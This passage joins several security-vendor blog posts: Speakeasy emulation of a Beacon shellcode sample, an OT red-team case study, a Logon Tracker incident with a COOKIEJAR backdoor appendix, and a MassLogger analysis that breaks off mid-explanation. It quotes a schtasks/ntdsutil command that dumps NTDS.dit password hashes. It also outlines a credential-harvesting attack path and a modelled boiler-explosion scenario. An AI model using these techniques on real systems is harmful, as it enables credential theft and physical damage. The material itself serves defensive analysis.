Figure 2: File read event in a Speakeasy report

#### Speed

Because the framework is written in Python, speed is an obvious concern. Unicorn and QEMU are written in C, which provides very fast emulation speeds; however, the API and event handlers we write are in Python. Transitioning between native code and Python is extremely expensive and should be done as little as possible. Therefore, the goal is to only execute Python code when it is absolutely necessary. By default, the only events we handle in Python are memory access exceptions or Windows API calls. In order to catch Windows API calls and emulate them in Python, import tables are doped with invalid memory addresses so that we only switch into Python when import tables are accessed. Similar techniques are used for when shellcode accesses the export tables of DLLs loaded within the emulated address space of the malware. By executing as little Python code as possible, we can maintain reasonable speeds while still allowing users to rapidly develop capabilities for the framework.

#### Memory Management

Speakeasy implements a lightweight memory manager on top of the emulator engine’s memory management. Each chunk of memory allocated by malware is tracked and tagged so that meaningful memory dumps can be acquired. Being able to attribute activity to specific chunks of memory can prove to be extremely useful for analysts. Logging memory reads and writes to sensitive data structures can reveal the true intent of malware not revealed by API call logging, which is particularly useful for samples such as rootkits.

Speakeasy offers an optional “memory tracing” feature that will log all memory accesses that samples exhibit. This will log all reads, writes and executes to memory. Since the emulator tags all allocated memory chunks, it is possible to glean much more context from this data. If malware hooks a critical data structure or pivots execution to dynamically mapped memory this will be revealed and can be useful for debugging or attribution. This feature comes at a great speed cost, however, and is not enabled by default.

The emulated environment presented to malware includes common data structures that shellcode uses to locate and execute exported Windows system functions. It is necessary to resolve exported functions in order to invoke the Win32 API and therefore have meaningful impact on a targeted system. In most cases, Beacon included, these functions are located by walking the process environment block (commonly called the PEB). From the PEB, shellcode can access a list of all loaded modules within a process’s virtual address space.

Figure 3 shows a memory report generated from emulating a Beacon shellcode sample. Here we can trace the malware walking the PEB in order to find the address of kernel32.dll. The malware then manually resolves and calls the function pointer for the “VirtualAlloc” API, and proceeds to decode and copy itself into the new buffer to pivot execution.

Figure 3: Memory trace report

#### Configuration

Speakeasy is highly configurable and allows users to create their own “execution profiles”. Different levels of analysis can be specified in order to optimize individual use cases. The end goal is allowing users easy switching of configuration options with no code changes. Configuration profiles are currently structured as JSON files. If no profile is provided by the user, a default configuration is provided by the framework. The individual fields are documented within the Speakeasy project.

Figure 4 shows a snippet of the network emulator configuration subsection. Here, users can specify what IP addresses get returned when a DNS lookup occurs, or in the case of some Beacon samples, what binary data gets returned during a TXT record query. HTTP responses have custom responses configured as well.

Figure 4: Network configuration

Many HTTP stagers will retrieve a web resource using a HTTP GET request. Often, such as with Cobalt Strike or Metasploit stagers, this buffer is then immediately executed so the next stage of execution can begin. This response can be easily configured with Speakeasy configurations. In the configuration in Figure 4, unless overridden, the framework will supply the data contained in the referenced default.bin file. This file currently contains debug interrupt instructions (int3), so if the malware attempts to execute the data it exits and will be logged in the report. Using this, we can easily label the malware as a downloader that downloads additional code. Configuration fields also exist for file system and registry emulation. Files and registry paths can similarly be configured to return data to samples that expect to be running on a live Windows system.

#### Limitations

As said, emulation comes with some challenges. Maintaining feature parity with the system being emulated is an ongoing battle; however, it provides unique opportunities for controlling the malware and greater introspection options.

In cases where emulation does not complete fully, emulation reports and memory dumps can still be generated in order to gather as much data as possible. For example, a backdoor may successfully install its persistence mechanism, but fail to connect to its C2 server. In this situation, the valuable host-based indicators are still logged and can provide value to an analyst.

Missing API handlers can quickly and easily be added to the emulator in order to handle these situations. For many API handlers, simply returning a success code will be sufficient to make the malware to continue execution. While full emulation of every piece of malware may not be feasible, targeting functionality of specific malware families can greatly reduce the need to reverse engineer variants of the same families.

#### Usage

Speakeasy is available right now on our GitHub. It can be installed with the included Python installer script or installed within a Docker container using the provided Dockerfile. It is platform agnostic and can be used to emulate Windows malware on Windows, Linux or MacOS. More information can be found on the project’s README.

Once installed, Speakeasy can be used as a standalone library or invoked directly using the provided run_speakeasy.py script. In this blog post we will demonstrate how to emulate a malware sample directly from the command line. For information on how to use Speakeasy as a library, see the project’s README.

The included script is meant to emulate a single sample and generate a JSON report with the logged events. The command line arguments for run_speakeasy.py are shown in Figure 5.

Figure 5: Command line arguments for run_speakeasy.py

Speakeasy also offers a rich development and hooking interface for writing custom plugins. This will be covered in more detail in a later blog post.

#### Emulation of a Beacon Implant

For this example, we will be emulating shellcode that decodes and executes a Beacon implant variant that has a SHA-256 hash of 7f6ce8a8c2093eaf6fea1b6f1ef68a957c1a06166d20023ee5b637b5f7838918. We begin by verifying the file format of the sample. This sample is expected to be launched either by a loader or used as part of an exploit payload.

Figure 6: Hex dump of malware sample

In Figure 6, we can clearly see that the file is not in the PE file format. An analyst who has seen many shellcode samples may notice the first two bytes: “0xfc 0xe8”. These bytes disassemble to the intel assembly instructions “cld” and “call”. The “cld” instruction is a common prelude to position independent shellcode as it will clear the direction flag allowing malware to easily parse string data from system DLL’s export tables. The following call instruction is often used by shellcode to get its current program counter by following it with a “pop” instruction. This allows the malware to discover where it is executing from in memory.

Since we are reasonably certain this sample is shellcode, we will invoke Speakeasy with the command line shown in Figure 7.

Figure 7: Command line used to emulate malware sample

This will instruct Speakeasy to emulate the sample from offset zero as x86 shellcode. Note: even though we are emulating code and not actually executing it, these are still attacker generated binaries. It may still be wise to emulate malicious code within a virtual machine in the event a vulnerability is discovered in whatever native CPU emulation engine is used.

After emulation, a report will be generated named “report.json”. In addition, a full memory dump of the emulation environment will be compressed and written to “memory_dump.zip”. The malware will get loaded into emulated memory inside of a fake container process to simulate a real execution environment that shellcode would expect to be running in. Once emulation begins, emulated API calls will be logged to the screen along with their arguments and return values. Figure 8 shows the Beacon sample allocating a new memory buffer where it will copy itself. The malware then begins to manually resolve exports it needs to execute.

Figure 8: Network configuration

After additional decoding and setup, the malware attempts to connect to its C2 server. In Figure 9, we can see the malware using the Wininet library to connect and read data from the C2 server using HTTP.

Figure 9: Wininet API calls to connect to C2

The malware will loop endlessly until it receives the data it expects from its C2 server. Speakeasy will timeout after a predetermined amount of time and generate a JSON report.

Figure 10: Network C2 events

The network indicators are summarized in the “network_events” and “traffic” sections of the generated report. In Figure 10, we can see the IP address, port number and, in this case, HTTP headers associated with the connections made by the malware.

In this example, when we emulated the sample, we instructed Speakeasy to create a memory dump of the emulated address space. A ZIP archive will get created of each memory allocation along with context around it. This context includes base address, size and a tag that is assigned by the emulator in order to identify what the memory allocation corresponds to. Figure 11 shows a snippet of the memory dump files created during emulation. The file names contain the tag and base address associated with each memory allocation.

Figure 11: Individual memory blocks acquired from emulation

If we just run strings on these memory dumps, we can quickly locate interesting strings along with the Beacon configuration data, which is shown in Figure 12.

Figure 12: Configuration string data for the malware

In a triage level of analysis, we may only care about the indicators of compromise for a malware variant of a known family. However, if full reverse engineering of the sample is required, we can also recover the decoded version of the Beacon malware in its DLL form. By simply doing a primitive grep for the “MZ” magic bytes, we find the only hits are the memory dumps related to the original sample’s allocation and the virtual allocated buffer that the malware copies itself to (Figure 13).

Figure 13: Memory dump containing the decoded malware

If we look at the bytes in the original shellcode buffer, we can see that it was decoded before it was copied and is sitting in memory ready to be dumped at offset 0x48. We can now successfully load the decoded Beacon DLL into IDA Pro for full analysis (Figure 14).

Figure 14: Decoded malware successfully loaded into IDA Pro

#### Conclusion

In this blog post we demonstrated how the Speakeasy emulation framework can be used to automatically triage a Beacon malware sample. We used it to discover valuable network indicators, extract its config information from memory, and acquire a decoded Beacon DLL for further analysis.

Head over to our GitHub to start using Speakeasy today, and stay tuned for the next blog post where we will demonstrate kernel malware analysis using emulation.

# A Hands-On Introduction to Mandiant’s Approach to OT Red Teaming

Operational technology (OT) asset owners have historically considered red teaming of OT and industrial control system (ICS) networks to be too risky due to the potential for disruptions or adverse impact to production systems. While this mindset has remained largely unchanged for years, Mandiant's experience in the field suggests that these perspectives are changing; we are increasingly delivering value to customers by safely red teaming their OT production networks.

This increasing willingness to red team OT is likely driven by a couple of factors, including the growing number and visibility of threats to OT systems, the increasing adoption of IT hardware and software into OT networks, and the maturing of OT security teams. In this context, we deemed it relevant to share some details on Mandiant's approach to red teaming in OT based on years of experience supporting customers learning about tangible threats in their production environments.

In this post we introduce Mandiant's approach to OT red teaming and walk through a case study. During that engagement, it took Mandiant only six hours to gain administrative control on the target's OLE for Process Control (OPC) servers and clients in the target's Distributed Control System (DCS) environment. We then used this access to collect information and develop an attack scenario simulating the path a threat actor could take to prepare for and attack the physical process (We highlight that the red team did not rely on weaknesses of the DCS, but instead weak password implementations in the target environment).

NOTE: Red teaming in OT production systems requires planning, preparation and "across the aisle" collaboration. The red team must have deep knowledge of industrial process control and the equipment, software, and systems used to achieve it. The red team and the asset owner must establish acceptable thresholds before performing any activities.

#### Mandiant's Approach for Safe Red Teaming in OT

Mandiant's approach to red teaming OT production systems consists of two phases: active testing on IT and/or OT intermediary systems, and custom attack modeling to develop one or more realistic attack scenarios. Our approach is designed to mirror the OT-targeted attack lifecycle—with active testing during initial stages (Initial Compromise, Establish Foothold, Escalate Privileges, and Internal Reconnaissance), and a combination of active/passive data collection and custom threat modeling to design feasible paths an attacker would follow to complete the mission.

Figure 1: Mandiant OT red teaming approach

• Mandiant's OT red teaming may begin either from the perspective of an external attacker leveraging IT compromises to pivot into the OT network, or from the perspective of an actor who has already gained access into the OT network and is ready to escalate the intrusion.
• We then leverage a range of commodity tools and utilities that are widely available in most target environments to pivot across OT intermediary systems and gain privileged access to target ICS.
• Throughout this process, we maintain constant communication with the customer to establish safety thresholds. Active participation from the defenders will also enable the organization to learn about the techniques we use to extract information and the weaknesses we exploit to move across the target network.
• Once the active testing stops at the agreed safety threshold, we compile this information and perform additional research on the system and processes to develop realistic and target-specific attack scenarios based on our expertise of threat actor behaviors.

Mandiant's OT red teaming can be scoped in different ways depending on the target environment, the organization's goals, and the asset owner's cyber security program maturity. For example, some organizations may test the full network architecture, while others prefer to sample only an attack on a single system or process. This type of sampling is useful for organizations that own a large number of processes and are unlikely to test them one by one, but instead they can learn from a single-use case that reflects target-specific weaknesses and vulnerabilities. Depending on the scope, the red teaming results can be tailored to:

• Model attack scenarios based on target-specific vulnerabilities and determine the scope and consequences if a threat actor were to exploit them in their environment.
• Model attack paths across the early stages of reconnaissance and lateral movement to identify low-hanging fruit that adversaries may exploit to enable further compromise of OT.
• Operationalize threat intelligence to model scenarios based on tactics, techniques, and procedures (TTPs) from known actors, such as advanced persistent threats (APTs).
• Test specific processes or systems deemed at high risk of causing a disruption to safety or operations. This analysis highlights gaps or weaknesses to determine methods needed to secure high-risk system(s).

#### Red Teaming in OT Provides Unique Value to Defenders

Red teaming in OT can be uniquely helpful for defenders, as it generates value in a way very specific to an organizations' needs, while decreasing the gap between the "no holds barred" world of real attackers and the "safety first" responsibility of the red team. While it is common for traditional red teaming engagements to end shortly after the attacker pivots into a production OT segment, a hybrid approach, such as the one we use, makes it possible for defenders to gain visibility into the specific strengths and weaknesses of their OT networks and security implementations. Here are some other benefits of red teaming in OT production networks:

• It helps defenders understand and foresee possible paths that sophisticated actors may follow to reach specific goals. While cyber threat intelligence is another great way to build this knowledge, red teaming allows for additional acquisition of site-specific data.
• It responds to the needs of defenders to account for varying technologies and architectures present in OT networks across different industries and processes. As a result, it accounts for outliers that are often not covered by general security best practices guidance.
• It results in tangible and realistic outputs based on our active testing showing what can really happen in the target network. Mandiant's OT red teaming results often show that common security testing tools are sufficient for actors to reach critical process networks.
• It results in conceptual attack scenarios based on real attacker behaviors and specific knowledge about the target. While the scenarios may sometimes highlight weaknesses or vulnerabilities that cannot be patched, these provide defenders with the knowledge needed to define alternative mitigations to mitigate risks earlier in the lifecycle.
• It can help to identify real weaknesses that could be exploited by an actor at different stages of the attack lifecycle. With this knowledge, defenders can define ways to stop threat activity before it reaches critical production systems, or at least during early phases of the intrusion.

#### Applying Our Approach in the Real World: Big Steam Works

During this engagement, we were tasked with gaining access to critical control systems and designing a destructive attack in an environment where industrial steaming boilers are operated with an Distributed Control System (DCS). In this description, we redacted customer information—including the name, which we refer to as "Big Steam Works"—and altered sensitive details. However, the overall attack techniques remain unchanged. The main objective of Big Steam Works is to deliver steam to a nearby chemical production company.

For the scope of this red team, the customer wanted to focus entirely on its OT production network. We did not perform any tests in IT networks and instead begun the engagement with initial access granted in the form of a static IP address in Big Steam Work's OT network. The goal of the engagement was to deliver consequence-driven analysis exploring a scenario that could cause a significant physical impact to both safety and operations. Following our red teaming approach, the engagement was divided in two phases: active testing across IT and/or OT intermediary systems, and custom attack modeling to foresee paths an attacker may follow to complete its mission.

We note that during the active testing phase we were very careful to maintain high safety standards. This required not only highly skilled personnel with knowledge about both IT and OT, but also constant engagement with the customer. Members from Big Steam Works helped us to set safety thresholds to stop and evaluate results before moving forward, and actively monitored the test to observe, learn, and remain vigilant for any unintended changes in the process.

Phase 1 – Active Testing

During this phase, we leveraged publicly accessible offensive security tools (including Wireshark, Responder, Hashcat, and CrackMapExec) to collect information, escalate privileges, and move across the OT network. In close to six hours, we achieved administrative control on several Big Steam Works' OLE for Process Control (OPC) servers and clients in their DCS environment. We highlight that the test did not rely on weaknesses of the DCS, but instead weak password implementations in the target environment. Figure 2 details our attack path:

Figure 2: Active testing in Big Steam Work's OT network

1. We collected network traffic using Wireshark to map network communications and identify protocols we could use for credential harvesting, lateral movement, and privilege escalation. Passive analysis of the capture showed Dynamic Host Configuration Protocol (DHCP) broadcasts for IPv6 addresses, Link-Local Multicast Name Resolution (LLMNR) protocol traffic, and NetBios Name Service (NBT-NS) traffic.
2. We responded to broadcast LLMNR, NBT-NS, and WPAD name resolution requests from devices using a publicly available tool called Responder. As we supplied our IP address in response to broadcasted name resolution requests from other clients on the subnet, we performed man-in-the-middle (MiTM) attacks and obtained NTLMv1/2 authentication protocol password hashes from devices on the network.
3. We then used Hashcat to crack the hashed credentials and use them for further lateral movement and compromise. The credentials we obtained included, but were not limited to, service accounts with local administrator rights on OPC servers and clients. We note that Hashcat cracked the captured credentials in only six seconds due to the lack of password strength and complexity.
4. With the credentials captured in the first three steps, we accessed other hosts on the network using CrackMapExec. We dumped additional cached usernames, passwords, and password hashes belonging to both local and domain accounts from these hosts.
5. This resulted in privileged access and control over the DCS's OPC clients and servers in the network. While we did not continue to execute any further attack, the level of access gained at this point enabled us to perform further reconnaissance and data collection to design and conceptualize the last steps of a targeted attack on the industrial steaming boilers.

The TTPs we used during the active testing phase resemble some of the simplest resources that can be used by threat actors during real OT intrusions. The case results are concerning given that they illustrate only a few of the most common weaknesses we often observe across Mandiant OT red team engagements. We highlight that all the tools used for this intrusion are known and publicly available. An attacker with access to Big Steam Works could have used these methods as they represent low-hanging fruit and can often be prevented with simple security mitigations.

Phase 2 – Custom Attack Modeling

For roughly a week, Mandiant gathered additional information from client documentation and research on industrial steaming boilers. We then mirrored the process an attacker would follow to design a destructive attack on the target process given the results achieved during phase 1. At this point of the intrusion, the attacker would have already obtained complete control over Big Steam Works' OPC clients and servers, gaining visibility and access to the DCS environment.

Before defining the path to follow, the attacker would likely have to perform further reconnaissance (e.g., compromising additional systems, data, and credentials within the Big Steam Works DCS environment). Specifically, the attacker could:

• Obtain configuration/control logic files
• Determine the type/function of the different DCS nodes in the environment
• Use native DCS tools for system overview, graphics display, and point drill down
• Identify alarms/alerts monitored by operators via remote HMI screens and map them to defined points
• Map the flow of the physical process based on data collection and review

Our next step was to develop the custom scenario. For this example, we were tasked with modeling a case where the attacker was attempting to create a condition that had a high likelihood of causing physical damage and disruption of operations (see Figure 3). In this scenario, the attacker attempted to achieve this by lowering the water level in a boiler drum below the safe threshold while not tripping the burner management system or other safety mechanisms. If successful, this would result in rapid and extreme overheating in the boiler. Opening the feedwater valve under such conditions could result in a catastrophic explosion.

Figure 3: Custom attack model diagram for Big Steam Works

Figure 3 describes how a real attacker might pursue their mission after gaining access to the OPC servers and clients. As the actor moves closer to their goals, it becomes more difficult to assess both the probability of success and the actual impact of their actions due to nuances specific to the client environment and additional safety and security controls built into the process. However, the analysis holds significant value as it illustrates the overall structure of the physical process and potential attacker behaviors aimed at achieving specific end goals. Furthermore, it proceeds directly from the results obtained during the first phase of the red teaming.

The model presents one feasible combination of actions that an attacker could perform to access devices governing the boiler drum and modify the water level while remaining undetected. With the level of access obtained from phase 1, the attacker would likely be able to compromise engineering workstations (EWS) for the boiler drum's controller using similar tools. This would likely enable the actor to perform actions such as changing the drum level setpoints, modifying the flow of steam scaling, or modifying water flow scaling. While the model does not reflect all additional safety and security measures that may be present deeper in the process, it does account for the attacker's need to modify alarms and control sensor outputs to remain undetected.

By connecting the outcomes produced in the test to the potential physical impacts and motivations involved in a real attack, this model provided Big Steam Works with a realistic overview of cyber security threats to a specific physical process. Further collaboration with the customer enabled us to validate the findings and support the organization to mitigate the risks reflected in the model.

#### Outlook

Mandiant's OT red teaming supports organizations by combining both the hands-on analysis of vulnerabilities and weaknesses in IT and OT networks with the conceptual modeling of attacker goals and possible avenues to reach specific outcomes. It also enables security practitioners to adopt the attacker's perspective and explore attack vectors that may otherwise have not been conceived regardless of their value as low-hanging fruit for OT intrusions.

Our approach presents realistic scenarios based upon technical evidence of intrusion activity upon OT intermediary systems in the tested network. In this way, it is tailored to support consequence-driven analysis of threats to specific critical systems and processes. This enables organizations to identify attack scenarios involving digital assets and determine safeguards that can best help to protect the process and ensure the safety of their facilities.

During a recent investigation at a telecommunications company led by Mandiant Managed Defense, our team was tasked with rapidly identifying systems that had been accessed by a threat actor using legitimate, but compromised domain credentials. This sometimes-challenging task was made simple because the customer had enabled the Logon Tracker module within their FireEye Endpoint Security product.

Logon Tracker is an Endpoint Security Innovation Architecture module designed to simplify the investigation of lateral movement within Windows enterprise environments. Logon Tracker improves the efficiency of investigating lateral movement by aggregating historical logon activity and provides a mechanism to monitor for new activity. This data is presented in a user interface designed for analyzing investigative leads (e.g., a compromised account) and hunting for suspicious activity (e.g., RDP activity by privileged accounts). Logon Tracker also provides a graph interface that enables the identification of irregular and unique logons with the option to filter on hostnames, usernames, protocol, time of day, process name, privilege level, status (success/failure), and more.

Figure 1: Logon Tracker GUI interface

A critical component of a successful incident response is the scoping effort to identify systems that may have been accessed by the adversary. Windows Event Logs offer a commonly utilized method of identifying an adversary’s lateral movement between Windows systems. However, as with all log sources, Windows Event Logs are subject to data retention limits on endpoints, making the aggregated logon activity provided by Logon Tracker a critical source of evidence for incident response.

Logon Tracker’s graphical display along with the raw logon events allowed Mandiant Managed Defense to quickly identify 10 potentially compromised hosts and begin to create a timeline of adversary activity.

Managed Defense also leveraged Logon Tracker to monitor for additional suspicious logons and adversary activity throughout the incident response. Searching for logons (both failed and successful) from known compromised accounts and activity originating from compromised systems allowed our investigators to quickly determine which systems should be prioritized for analysis. Additionally, Logon Tracker provides investigators the ability to:

• Filter logon data for activity originating from user-provided IP ranges
• Search for logon data for activity by specific privileged accounts, including “Domain Administrators” and “Enterprise Administrators”
• Search for any privileged logon using the “Privileged” logon type
• Provide alerting and definition of custom rules (coming soon!)

#### Case Background

In mid-July, the Managed Defense Security Operations Center identified potential credential harvesting activity on a Windows server. The activity included the creation of a scheduled task configured to execute the built-in Windows utility, NTDSUTIL to take a snapshot of the active NTDS.dit file and save it locally to a text file as shown in Figure 2:

 "schtasks  /s /create /tn ntbackup /tr \"ntdsutil snapshot \\\"activate instance ntds\\\" create quit quit >c:\\Users\\admin\\AppData\\Local\\Temp\\ntds.log\" /sc once /st 05:38:00 /sd 07-12-2020 /f

Figure 2: Scheduled task creation for NTDS.DIT harvesting

The NTDS.dit file is a database that contains Active Directory data such as user objects, group memberships, groups, and—more useful to an adversary—password hashes for all users in the domain.

Leveraging Logon Tracker and simple timeline analysis, Managed Defense quickly determined an adversary had accessed this system to create a scheduled task from a system with a hostname that did not match the naming convention used within the environment. An anonymized example of Logon Tracker data is shown in Figure 3:

Figure 3: Logon Tracker data

Armed with the suspicious hostname and potentially compromised username, Managed Defense then used Logon Tracker’s search functionality to determine the scope of systems potentially accessed by the adversary.

The resulting investigation revealed that an Internet-facing Customer Relationship Management (CRM) application hosted on a Linux Apache web server had been compromised. Multiple web shells had been placed within web-accessible folders, allowing an adversary to execute arbitrary commands on the server. The adversary leveraged one of these web shells to install a malicious Apache module and restart Apache for the module to take effect. Mandiant has classified this module as COOKIEJAR (see the Malware Appendix at the end of the post for more details). The COOKIEJAR module enabled the adversary to proxy through the compromised server to any arbitrary IP/port pair within the customer’s internal network, see Figure 4.

Figure 4: PCAP data

Using this proxied access to the customer’s network, the adversary leveraged previously compromised domain credentials to connect to multiple Windows servers using SMB. Due to the use of the proxy to connect into the customer’s network, the hostname of the adversary’s workstation being used to conduct the attack was also passed into the logon events. This type of activity occurs due to the direct connection to the customers network and is similar to being on the same LAN. The non-standard hostname and non-standard customer naming convention used by the adversary help make scoping an easy task. Additionally, Managed Defense was able to leverage network detection to alert on the authentication attempts and activities of the adversary’s host.

#### Malware Appendix

During the course of the response, Mandiant identified a customized malicious Apache plugin capable of intercepting HTTP requests to an Apache HTTP server. The new malware family COOKIEJAR was created to aid in clustering and tracking this activity. The COOKIEJAR module installs a pre-connection hook that only runs if the client IP address matches a specified hardcoded adversary-controlled IP address. It listens for SSL/TLS connections on the port specified by the Apache server, using a certificate and private key loaded from /tmp/cacert.pem and /tmp/privkey.pem respectively. If the client IP address matches the hardcoded IP address (Figure 4), the backdoor accepts three commands based on the start of the URL:

• /phpconf_t/: Simply writes <html><h1>accepted.</h1></html> as the response. Likely used to test if the server is infected with the malware.
• /phpconf_s/: Executes commands on the server. Any communications to and from the system are forwarded to a shell, and are AES-256-ECB encrypted and then Base58 encoded.
• /phpconf_p/: Decode the second encoded string provided as a hostname/port (the first is ignored), using Base58 and AES-256-ECB (same key as before). The server will connect to the remote host and act as a proxy for the command and control (C2). Data to and from the C2 is encoded using Base58 and AES-256-ECB. Data to and from the remote host is not encoded.

Figure 5: Hardcoded configuration data within COOKIEJAR

#### Acknowledgements

• Chris Gardner, Malware Analyst
• Fred House, Director, Engineering

More information on FireEye Endpoint Security's  Logon Tracker Module  including the module download and user manual are available in the  FireEye Marketplace .

# Bypassing MassLogger Anti-Analysis — a Man-in-the-Middle Approach

The FireEye Front Line Applied Research & Expertise (FLARE) Team attempts to always stay on top of the most current and emerging threats. As a member of the FLARE Reverse Engineer team, I recently received a request to analyze a fairly new credential stealer identified as MassLogger. Despite the lack of novel functionalities and features, this sample employs a sophisticated technique that replaces the Microsoft Intermediate Language (MSIL) at run time to hinder static analysis. At the time of this writing, there is only one publication discussing the MassLogger obfuscation technique in some detail. Therefore, I decided to share my research and tools to help analyze MassLogger and other malware using a similar technique. Let us take a deep technical dive into the MassLogger credential stealer and the .NET runtime.

#### Triage

MassLogger is a .NET credential stealer. It starts with a launcher (6b975fd7e3eb0d30b6dbe71b8004b06de6bba4d0870e165de4bde7ab82154871) that uses simple anti-debugging techniques which can be easily bypassed when identified. This first stage loader eventually XOR-decrypts the second stage assembly which then decrypts, loads and executes the final MassLogger payload (bc07c3090befb5e94624ca4a49ee88b3265a3d1d288f79588be7bb356a0f9fae) named Bin-123.exe. The final payload can be easily extracted and executed independently. Therefore, we will focus exclusively on this final payload where the main anti analysis technique is used.

Basic static analysis doesn’t reveal anything too exciting. We notice some interesting strings, but they are not enough to give us any hints about the malware’s capabilities. Executing the payload in a controlled environment shows that the sample drops a log file that identifies the malware family, its version, and most importantly some configuration options. A sample log file is described in Figure 1. We can also extract some interesting strings from memory as the sample runs. However, basic dynamic analysis is not sufficient to extract all host-based indicators (HBIs), network-based indicators (NBIs) and complete malware functionality. We must perform a deeper analysis to better understand the sample and its capabilities.

 User Name: user IP: 127.0.0.1 Location: United States OS: Microsoft Windows 7 Ultimate 32bit CPU: Intel(R) Core(TM) i7-6820HQ CPU @ 2.70GHz GPU: VMware SVGA 3D AV: NA Screen Resolution: 1438x2460 Current Time: 6/17/2020 1:23:30 PM MassLogger Started: 6/17/2020 1:23:21 PM Interval: 2 hour MassLogger Process: C:\Users\user\Desktop\Bin-123.exe MassLogger Melt: false MassLogger Exit after delivery: false As Administrator: False Processes: Name:cmd, Title:Administrator: FakeNet-NG - fakenet Name:iexplore, Title:FakeNet-NG - Internet Explorer Name:dnSpy-x86, Title:dnSpy v6.0.5 (32-bit) Name:cmd, Title:Administrator: C:\Windows\System32\cmd.exe Name:ProcessHacker, Title:Process Hacker [WIN-R23GG4KO4SD\user]+ (Administrator) ### WD Exclusion ### Disabled ### USB Spread ### Disabled ### Binder ### Disabled ### Window Searcher ### Disabled ### Downloader ### Disabled ### Bot Killer ### Disabled ### Search And Upload ### Disabled ### Telegram Desktop ### Not Installed ### Pidgin ### Not Installed ### FileZilla ### Not Installed ### Discord Tokken ### Not Installed ### NordVPN ### Not Installed ### Outlook ### Not Installed ### FoxMail ### Not Installed ### Thunderbird ### Not Installed ### QQ Browser ### Not Installed ### FireFox ### Not Installed ### Chromium Recovery ### Not Installed ### Keylogger And Clipboard ###   [20/06/17]  [Welcome to Chrome - Google Chrome] [ESC] [20/06/17]  [Clipboard] Vewgbprxvhvjktmyxofjvpzgazqszaoo

Figure 1: Sample MassLogger log

#### Just Decompile It

Like many other .NET malwares, MassLogger obfuscates all of its methods names and even the method control flow. We can use de4dot to automatically deobfuscate the MassLogger payload. However, looking at the deobfuscated payload, we quickly identify a major issue: Most of the methods contain almost no logic as shown in Figure 2.

Figure 2: dnSpy showing empty methods

Looking at the original MassLogger payload in dnSpy’s Intermediate Language (IL) view confirms that most methods do not contain any logic and simply return nothing. This is obviously not the real malware since we already observed with dynamic analysis that the sample indeed performs malicious activities and logging to a log file. We are left with a few methods, most notably the method with the token 0x0600049D called first thing in the main module constructor.

Figure 3: dnSpy IL view showing the method's details

Method 0x0600049D control flow has been obfuscated into a series of switch statements. We can still somewhat follow the method’s high-level logic with the help of dnSpy as a debugger. However, fully analyzing the method would be very time consuming. Instead, when first analyzing this payload, I chose to quickly scan over the entire module to look for hints. Luckily, I spot a few interesting strings I missed during basic static analysis: clrjit.dll, VirtualAlloc, VirtualProtect and WriteProcessMemory as seen in Figure 4.

Figure 4: Interesting strings scattered throughout the module

A quick internet search for “clrjit.dll” and “VirtualProtect” quickly takes us to a few publications describing a technique commonly referred to as Just-In-Time Hooking. In essence, JIT Hooking involves installing a hook at the compileMethod() function where the JIT compiler is about to compile the MSIL into assembly (x86, x64, etc). With the hook in place, the malware can easily replace each method body with the real MSIL that contains the original malware logic. To fully understand this process, let’s explore the .NET executable, the .NET methods, and how MSIL turns into x86 or x64 assembly.

#### .NET Executable Methods

A .NET executable is just another binary following the Portable Executable (PE) format. There are plenty of resources describing the PE file format, the .NET metadata and the .NET token tables in detail. I recommend our readers to take a quick detour and refresh their memory on those topics before continuing. This post won’t go into further details but will focus on the .NET methods instead.

Each .NET method in a .NET assembly is identified by a token. In fact, everything in a .NET assembly, whether it’s a module, a class, a method prototype, or a string, is identified by a token. Let’s look at method identified by the token 0x0600049D, as shown in Figure 5. The most-significant byte (0x06) tells us that this token is a method token (type 0x06) instead of a module token (type 0x00), a TypeDef token (type 0x02), or a LocalVarSig token (type 0x11), for example. The three least significant bytes tell us the ID of the method, in this case it’s 0x49D (1181 in decimal). This ID is also referred to as the Method ID (MID) or the Row ID of the method.

Figure 5: Method details for method 0x0600049D

Figure 6: Method details from the PE file header

For method 0x0600049D, the RVA of the method body is 0xB690. This RVA belongs to the .text section whose RVA is 0x2000. Therefore, this method body begins at 0x9690 (0xB6900x2000) bytes into the .text section. The .text section starts at 0x200 bytes into the file according to the section header. As a result, we can find the method body at 0x9890 (0x9690 + 0x200) bytes offset into the file. We can see the method body in Figure 7.

Figure 7: Method 0x0600049D body in a hex editor

#### .NET Method Body

The .NET method body starts with a method body header, followed by the MSIL bytes. There are two types of .NET methods: a tiny method and a fat method. Looking at the first byte of the method body header, the two least-significant bits tell us if the method is tiny (where the last two bits are 10) or fat (where the last two bits are 11).

.NET Tiny Method

Let’s look at method 0x06000495. Following the same steps described earlier, we check the row number 0x495 (1173 in decimal) of the Method table to find the method body RVA is 0x7A7C which translates to 0x5C7C as the offset into the file. At this offset, the first byte of the method body is 0x0A (0000 1010 in binary).

Figure 8: Method 0x06000495 metadata and body

Since the two least-significant bits are 10, we know that 0x06000495 is a tiny method. For a tiny method, the method body header is one byte long. The two least-significant bits are 10 to indicate that this is the tiny method, and the six most-significant bits tell us the size of the MSIL to follow (i.e. how long the MSIL is). In this case, the six most-significant bits are 000010, which tells us the method body is two bytes long. The entire method body for 0x06000495 is 0A 16 2A, followed by a NULL byte, which has been disassembled by dnSpy as shown in Figure 9.

Figure 9: Method 0x06000495 in dnSpy IL view

.NET Fat Method

Coming back to method 0x0600049D (entry number 1181) at offset 0x9890 into the file (RVA 0xB690), the first byte of the method body is 0x1B (or 0001 1011 in binary). The two least-significant bits are 11, indicating that 0x0600049D is a fat method. The fat method body header is 12-byte long whose structure is beyond the scope of this blog post. The field we really care about is a four-byte field at offset 0x04 byte into this fat header. This field specifies the length of the MSIL that follows this method body header. For method 0x0600049D, the entire method body header is “1B 30 08 00 A8 61 00 00 75 00 00 11” and the length of the MSIL to follow is “A8 61 00 00” or 0x61A8 (25000 in decimal) bytes.

Figure 10: Method 0x0600049D body in a hex editor

#### JIT Compilation

Whether a method is tiny or fat, it does not execute as is. When the .NET runtime needs to execute a method, it follows exactly the process described earlier to find the method body which includes the method body header and the MSIL bytes. If this is the first time the method needs to run, the .NET runtime invokes the Just-In-Time compiler which takes the MSIL bytes and compiles them into x86 or x64 assembly depending on whether the current process is 32- or 64-bit. After some preparation, the JIT compiler eventually calls the compileMethod() function. The entire .NET runtime project is open-sourced and available on GitHub. We can easily find out that the compileMethod() function has the following prototype (Figure 11):

 CorJitResult __stdcall compileMethod (     ICorJitInfo                       *comp,               /* IN */     CORINFO_METHOD_INFO               *info,               /* IN */     unsigned /* code:CorJitFlag */    flags,               /* IN */     BYTE                              **nativeEntry,       /* OUT */     ULONG                             *nativeSizeOfCode    /* OUT */ );

